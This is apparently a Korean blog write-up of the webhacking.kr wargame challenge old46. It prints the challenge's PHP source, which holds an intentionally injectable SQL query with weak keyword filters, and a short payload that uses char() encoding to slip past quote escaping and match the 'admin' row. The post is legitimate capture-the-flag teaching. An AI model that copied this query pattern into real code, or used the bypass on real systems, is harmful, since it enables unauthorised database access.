webhacking.kr - old46
2021. 4. 3. 15:24ㆍWarGame/webhaking.kr
시작하면 위와 같이 sqli가 가능한데 소스코드를 확인하면
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
</body>
</html>
id 부분을 admin으로 바꿔주면 될 것 같습니다.
1&&id='admin'
으로 넣어주고 싶지만, '가 필터링되어서 /'으로 변환되니, char을 활용해서 넘겨주자.
1&&id=char(97,100,109,105,110)
하면 풀이가 가능하다.
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old8 (0) | 2021.04.04 |
---|---|
webhacking.kr - old49 (0) | 2021.04.03 |
webhacking.kr - old3 (0) | 2021.04.02 |
webhacking.kr - old4 (0) | 2021.03.31 |
webhacking.kr - old5 (0) | 2021.03.30 |